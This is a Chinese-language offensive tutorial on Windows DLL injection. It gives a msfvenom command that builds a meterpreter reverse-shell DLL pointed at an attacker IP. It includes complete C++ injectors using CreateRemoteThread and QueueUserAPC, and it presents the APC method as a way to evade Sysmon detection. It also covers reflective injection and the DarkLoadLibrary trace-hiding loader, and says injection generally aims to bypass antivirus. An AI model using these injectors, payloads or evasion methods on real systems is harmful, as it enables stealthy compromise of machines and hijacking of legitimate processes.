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DLL注入原理
在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。
也正是由于进程的地址空间是独立的(保护模式),因此我们很难编写能够与其它进程通信或控制其它进程的应用程序。
所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。
dll注入实现过程
1.附加到目标/远程进程
2.在目标/远程进程内分配内存
3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间
4.控制进程运行DLL文件
生成DLL
使用msf生成一个dll:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll
手写dll注入器:
#include<Windows.h>
#include<stdio.h>
using namespace std;
int main(int argc,char * argv[]) {
HANDLE ProcessHandle;
LPVOID remotebuffer;
BOOL write;
wchar_t dllpath[] = TEXT("C:\\users\\root\\desktop\\inject.dll");
if (argc < 2) {
printf("Useage inject.exe Pid;\n");
printf("such as inject.exe 258\n");
exit(0);
}
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
if (ProcessHandle == NULL) {
printf("OpenProcess Fail !!!");
exit(0);
}
else
{
printf("OpenProcess %i successful !!!\n",atoi(argv[1]));
}
remotebuffer = VirtualAllocEx(ProcessHandle, NULL, sizeof dllpath, MEM_COMMIT, PAGE_READWRITE);
write = WriteProcessMemory(ProcessHandle, remotebuffer, (LPVOID)dllpath, sizeof dllpath, NULL);
if (write == 0) {
printf("WriteProcessMemory Fail %i!!!",GetLastError());
exit(0);
}
else
{
printf("WriteProcessMemory successful !!!\n");
}
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(ProcessHandle, NULL, 0, threatStartRoutineAddress, remotebuffer, 0, NULL);
CloseHandle(ProcessHandle);
return 0;
}
在进程监控中,也可以清楚的看到进程被注入了dll。
在上面的注入方式中,我们使用了CreateRemoteThread来进行dll注入,而这个方式在具有Sysmon的系统中会留下Event ID 8的痕迹。而我们使用通过APC实现Dll注入则可以绕过这种监控。
APC实现DLL注入
#include <windows.h>
#include <TlHelp32.h>
#include <vector>
using std::vector;
bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) {
auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return false;
pid = 0;
PROCESSENTRY32 pe = { sizeof(pe) };
if (::Process32First(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, exeName) == 0) {
pid = pe.th32ProcessID;
THREADENTRY32 te = { sizeof(te) };
if (::Thread32First(hSnapshot, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
tids.push_back(te.th32ThreadID);
}
} while (::Thread32Next(hSnapshot, &te));
}
break;
}
} while (::Process32Next(hSnapshot, &pe));
}
::CloseHandle(hSnapshot);
return pid > 0 && !tids.empty();
}
void main()
{
DWORD pid;
vector<DWORD> tids;
if (FindProcess(L"calc.exe", pid, tids))
{
printf("OpenProcess\n");
HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
printf("VirtualAllocEx\n");
auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
wchar_t buffer[] = L"c:\\test\\testdll.dll";
printf("WriteProcessMemory\n");
::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
for (const auto& tid : tids)
{
printf("OpenThread\n");
HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (hThread)
{
printf("GetProcAddress\n");
::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);
}
}
printf("VirtualFreeEx\n");
::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
}
}
反射型dll注入
反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。
反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。
msf已经有了相应的模块:
windows/manage/reflective_dll_inject
在内存中,可以看到明显的PE标识:
将其dump后
放入PE查看工具,可看到其为正常的PE文件与RDI特有的名字:
此类文件可配合sRdi使用,效果更佳。
DarkLoadLibrary
DarkLoadLibrary由batsec提出的项目,文章地址:
项目地址:项目地址
图标展示了其特点:
其支持磁盘加载、内存加载。
磁盘加载:内存加载:
其DarkLoadLibraryDebugging为自定义的名称,与NO_LINK,则看不到明显的dll加载痕迹
缺点是仅支持当前进程不支持远程进程,但不得不说,其优越性的确可以是当前进程加载dll的不二之选。
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